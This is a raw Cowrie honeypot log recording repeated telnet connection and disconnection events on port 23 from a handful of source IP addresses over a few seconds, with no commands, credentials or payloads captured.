{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55004,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3844069b46c","protocol":"telnet","message":"New connection: 104.167.8.156:55004 (10.17.0.5:23) [session: a3844069b46c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.840900Z"}
{"eventid":"cowrie.session.closed","duration":31.71427845954895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.995031Z","src_ip":"104.167.8.156","session":"175daba60ad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33360,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e460d327fbe","protocol":"telnet","message":"New connection: 104.167.8.156:33360 (10.17.0.5:23) [session: 1e460d327fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.999354Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33588,"dst_ip":"10.17.0.5","dst_port":23,"session":"370f10689531","protocol":"telnet","message":"New connection: 104.167.8.156:33588 (10.17.0.5:23) [session: 370f10689531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.080825Z"}
{"eventid":"cowrie.session.closed","duration":31.23849391937256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.150641Z","src_ip":"108.61.251.217","session":"e3d94534c251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007392644882202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.168225Z","src_ip":"108.61.251.217","session":"3f10a686e3ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37464,"dst_ip":"10.17.0.5","dst_port":23,"session":"af67fb933be6","protocol":"telnet","message":"New connection: 104.167.8.156:37464 (10.17.0.5:23) [session: af67fb933be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.177460Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41520,"dst_ip":"10.17.0.5","dst_port":23,"session":"f79a846b4ef5","protocol":"telnet","message":"New connection: 108.61.251.217:41520 (10.17.0.5:23) [session: f79a846b4ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.237691Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":60820,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d32e89a572c","protocol":"telnet","message":"New connection: 98.70.41.28:60820 (159.203.135.109:23) [session: 3d32e89a572c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.243326Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37784,"dst_ip":"10.17.0.5","dst_port":23,"session":"57f373bbae60","protocol":"telnet","message":"New connection: 104.167.8.156:37784 (10.17.0.5:23) [session: 57f373bbae60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.258530Z"}
{"eventid":"cowrie.session.closed","duration":30.914737462997437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.475092Z","src_ip":"108.61.251.217","session":"95606e6bb794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.232117652893066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.552819Z","src_ip":"104.167.8.156","session":"6b8f6dbbdd6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41534,"dst_ip":"10.17.0.5","dst_port":23,"session":"24a3f5b39824","protocol":"telnet","message":"New connection: 108.61.251.217:41534 (10.17.0.5:23) [session: 24a3f5b39824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.589800Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40146,"dst_ip":"10.17.0.5","dst_port":23,"session":"336660969d22","protocol":"telnet","message":"New connection: 104.167.8.156:40146 (10.17.0.5:23) [session: 336660969d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.892019Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40214,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a71fbc5cfeb","protocol":"telnet","message":"New connection: 104.167.8.156:40214 (10.17.0.5:23) [session: 9a71fbc5cfeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:36.910239Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41562,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaa2d0b51682","protocol":"telnet","message":"New connection: 108.61.251.217:41562 (10.17.0.5:23) [session: eaa2d0b51682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.010486Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40764,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ef6d1e8eac0","protocol":"telnet","message":"New connection: 104.167.8.156:40764 (10.17.0.5:23) [session: 2ef6d1e8eac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.077696Z"}
{"eventid":"cowrie.session.closed","duration":30.507769346237183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.088334Z","src_ip":"104.167.8.156","session":"c4ee81c83960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.574037313461304,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.151609Z","src_ip":"188.208.141.113","session":"760affcb5417","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.381858825683594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.245874Z","src_ip":"104.167.8.156","session":"98f96b102bac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41576,"dst_ip":"10.17.0.5","dst_port":23,"session":"410b47d7d69f","protocol":"telnet","message":"New connection: 108.61.251.217:41576 (10.17.0.5:23) [session: 410b47d7d69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.505852Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":60882,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e4d42d6bc2e","protocol":"telnet","message":"New connection: 98.70.41.28:60882 (159.203.135.109:23) [session: 6e4d42d6bc2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.591300Z"}
{"eventid":"cowrie.session.closed","duration":31.592867851257324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.652459Z","src_ip":"104.167.8.156","session":"014b7fd1fb31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.501203775405884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.706511Z","src_ip":"104.167.8.156","session":"6f87464ded5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.677801609039307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:37.891838Z","src_ip":"104.167.8.156","session":"92a2c8e092d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44146,"dst_ip":"10.17.0.5","dst_port":23,"session":"51bfb1030f4b","protocol":"telnet","message":"New connection: 104.167.8.156:44146 (10.17.0.5:23) [session: 51bfb1030f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.034103Z"}
{"eventid":"cowrie.session.closed","duration":31.076817989349365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.066936Z","src_ip":"104.167.8.156","session":"b5102e02a3d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.206093788146973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.098140Z","src_ip":"104.167.8.156","session":"3c1bfd0eddfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44636,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e08f4d7d767","protocol":"telnet","message":"New connection: 104.167.8.156:44636 (10.17.0.5:23) [session: 0e08f4d7d767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.176692Z"}
{"eventid":"cowrie.session.closed","duration":30.8410747051239,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.189659Z","src_ip":"104.167.8.156","session":"971b96083759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22205090522766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.239255Z","src_ip":"104.167.8.156","session":"37ceae46ecdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819535970687866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.268581Z","src_ip":"104.167.8.156","session":"6b2e2376690c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41534,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ae2be9bcdf","protocol":"telnet","message":"New connection: 104.167.8.156:41534 (10.17.0.5:23) [session: f4ae2be9bcdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.272597Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41936,"dst_ip":"10.17.0.5","dst_port":23,"session":"533b728b71fc","protocol":"telnet","message":"New connection: 104.167.8.156:41936 (10.17.0.5:23) [session: 533b728b71fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.376420Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41614,"dst_ip":"10.17.0.5","dst_port":23,"session":"902f13b31106","protocol":"telnet","message":"New connection: 108.61.251.217:41614 (10.17.0.5:23) [session: 902f13b31106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.596176Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46436,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ee5fac02e5","protocol":"telnet","message":"New connection: 104.167.8.156:46436 (10.17.0.5:23) [session: 70ee5fac02e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.701463Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43256,"dst_ip":"10.17.0.5","dst_port":23,"session":"475d64a52849","protocol":"telnet","message":"New connection: 104.167.8.156:43256 (10.17.0.5:23) [session: 475d64a52849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.804917Z"}
{"eventid":"cowrie.session.closed","duration":31.36730933189392,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:38.915616Z","src_ip":"104.167.8.156","session":"912b65603096","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.560570240020752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.134246Z","src_ip":"108.61.251.217","session":"ce0bb81243a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60196828842163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.161608Z","src_ip":"104.167.8.156","session":"5e6bb35574b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19599461555481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.198834Z","src_ip":"98.70.41.28","session":"b9bc065cd78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48154,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5c6c74e2ec0","protocol":"telnet","message":"New connection: 104.167.8.156:48154 (10.17.0.5:23) [session: e5c6c74e2ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.205999Z"}
{"eventid":"cowrie.session.closed","duration":30.54041051864624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.226299Z","src_ip":"104.167.8.156","session":"3cb95bda86c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58117389678955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.346535Z","src_ip":"104.167.8.156","session":"714440dafd05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41636,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd0c1a62c53","protocol":"telnet","message":"New connection: 108.61.251.217:41636 (10.17.0.5:23) [session: 5cd0c1a62c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.354380Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48860,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d0f12474022","protocol":"telnet","message":"New connection: 104.167.8.156:48860 (10.17.0.5:23) [session: 8d0f12474022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.404039Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49304,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f61a67d56b0","protocol":"telnet","message":"New connection: 104.167.8.156:49304 (10.17.0.5:23) [session: 4f61a67d56b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.526363Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":60906,"dst_ip":"159.203.135.109","dst_port":23,"session":"9042e025ae5e","protocol":"telnet","message":"New connection: 98.70.41.28:60906 (159.203.135.109:23) [session: 9042e025ae5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.545831Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49584,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7a40be7973","protocol":"telnet","message":"New connection: 104.167.8.156:49584 (10.17.0.5:23) [session: 0a7a40be7973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.600664Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46364,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b39f42d1274","protocol":"telnet","message":"New connection: 104.167.8.156:46364 (10.17.0.5:23) [session: 4b39f42d1274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.676491Z"}
{"eventid":"cowrie.session.closed","duration":31.20121717453003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.879252Z","src_ip":"104.167.8.156","session":"472b7d5085c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50672,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db0fcdc6047","protocol":"telnet","message":"New connection: 104.167.8.156:50672 (10.17.0.5:23) [session: 3db0fcdc6047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:39.991713Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":60872,"dst_ip":"159.203.135.109","dst_port":23,"session":"81a1c4005be2","protocol":"telnet","message":"New connection: 98.70.41.28:60872 (159.203.135.109:23) [session: 81a1c4005be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.021112Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47790,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3b8ff35e21","protocol":"telnet","message":"New connection: 104.167.8.156:47790 (10.17.0.5:23) [session: fa3b8ff35e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.089007Z"}
{"eventid":"cowrie.session.closed","duration":30.56731128692627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.139695Z","src_ip":"104.167.8.156","session":"0266df0d7384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":60900,"dst_ip":"159.203.135.109","dst_port":23,"session":"3291e31996a0","protocol":"telnet","message":"New connection: 98.70.41.28:60900 (159.203.135.109:23) [session: 3291e31996a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.153182Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51292,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc46d075fc58","protocol":"telnet","message":"New connection: 104.167.8.156:51292 (10.17.0.5:23) [session: dc46d075fc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.191406Z"}
{"eventid":"cowrie.session.closed","duration":30.536113739013672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.199724Z","src_ip":"104.167.8.156","session":"61b4afda9720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51668,"dst_ip":"10.17.0.5","dst_port":23,"session":"13bb3181ad24","protocol":"telnet","message":"New connection: 104.167.8.156:51668 (10.17.0.5:23) [session: 13bb3181ad24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.278239Z"}
{"eventid":"cowrie.session.closed","duration":30.84868621826172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.317750Z","src_ip":"104.167.8.156","session":"bad7cbbf209d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51944,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee41aa47011d","protocol":"telnet","message":"New connection: 104.167.8.156:51944 (10.17.0.5:23) [session: ee41aa47011d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.354656Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52294,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1fa0a048d07","protocol":"telnet","message":"New connection: 104.167.8.156:52294 (10.17.0.5:23) [session: f1fa0a048d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.469536Z"}
{"eventid":"cowrie.session.closed","duration":31.211867332458496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.607725Z","src_ip":"108.61.251.217","session":"fe4ea725cc38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41716,"dst_ip":"10.17.0.5","dst_port":23,"session":"80afa99d343b","protocol":"telnet","message":"New connection: 108.61.251.217:41716 (10.17.0.5:23) [session: 80afa99d343b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.625553Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42856,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d881370393d","protocol":"telnet","message":"New connection: 104.167.8.156:42856 (10.17.0.5:23) [session: 3d881370393d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.688074Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49984,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae3993899266","protocol":"telnet","message":"New connection: 104.167.8.156:49984 (10.17.0.5:23) [session: ae3993899266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.776376Z"}
{"eventid":"cowrie.session.closed","duration":31.465099334716797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.882143Z","src_ip":"104.167.8.156","session":"53a4044838a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114339351654053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.971078Z","src_ip":"104.167.8.156","session":"003bf024822f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53866,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf31a868d0ed","protocol":"telnet","message":"New connection: 104.167.8.156:53866 (10.17.0.5:23) [session: cf31a868d0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:40.982528Z"}
{"eventid":"cowrie.session.closed","duration":31.685566425323486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:41.014563Z","src_ip":"104.167.8.156","session":"8ac72b54d2b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.490700244903564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:41.107507Z","src_ip":"108.61.251.217","session":"a8237d0345e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.399067640304565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:41.174617Z","src_ip":"104.167.8.156","session":"aacaf2b847ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.281195163726807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:41.417731Z","src_ip":"98.70.41.28","session":"143f06924d36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55718,"dst_ip":"10.17.0.5","dst_port":23,"session":"00885f879724","protocol":"telnet","message":"New connection: 104.167.8.156:55718 (10.17.0.5:23) [session: 00885f879724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:41.516117Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41774,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c71cad1ff2e","protocol":"telnet","message":"New connection: 108.61.251.217:41774 (10.17.0.5:23) [session: 5c71cad1ff2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:41.644323Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56644,"dst_ip":"10.17.0.5","dst_port":23,"session":"b64ef9e4def3","protocol":"telnet","message":"New connection: 104.167.8.156:56644 (10.17.0.5:23) [session: b64ef9e4def3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:41.800493Z"}
{"eventid":"cowrie.session.closed","duration":31.74019694328308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:41.817004Z","src_ip":"104.167.8.156","session":"b9215587bf7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57124,"dst_ip":"10.17.0.5","dst_port":23,"session":"48cafeed1994","protocol":"telnet","message":"New connection: 104.167.8.156:57124 (10.17.0.5:23) [session: 48cafeed1994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:41.956394Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54000,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbeb34f2786f","protocol":"telnet","message":"New connection: 104.167.8.156:54000 (10.17.0.5:23) [session: fbeb34f2786f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.036835Z"}
{"eventid":"cowrie.session.closed","duration":30.900802612304688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.057591Z","src_ip":"104.167.8.156","session":"60d0ab2351ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.339096784591675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.114060Z","src_ip":"104.167.8.156","session":"b878c8639ce3","protocol":"telnet"}
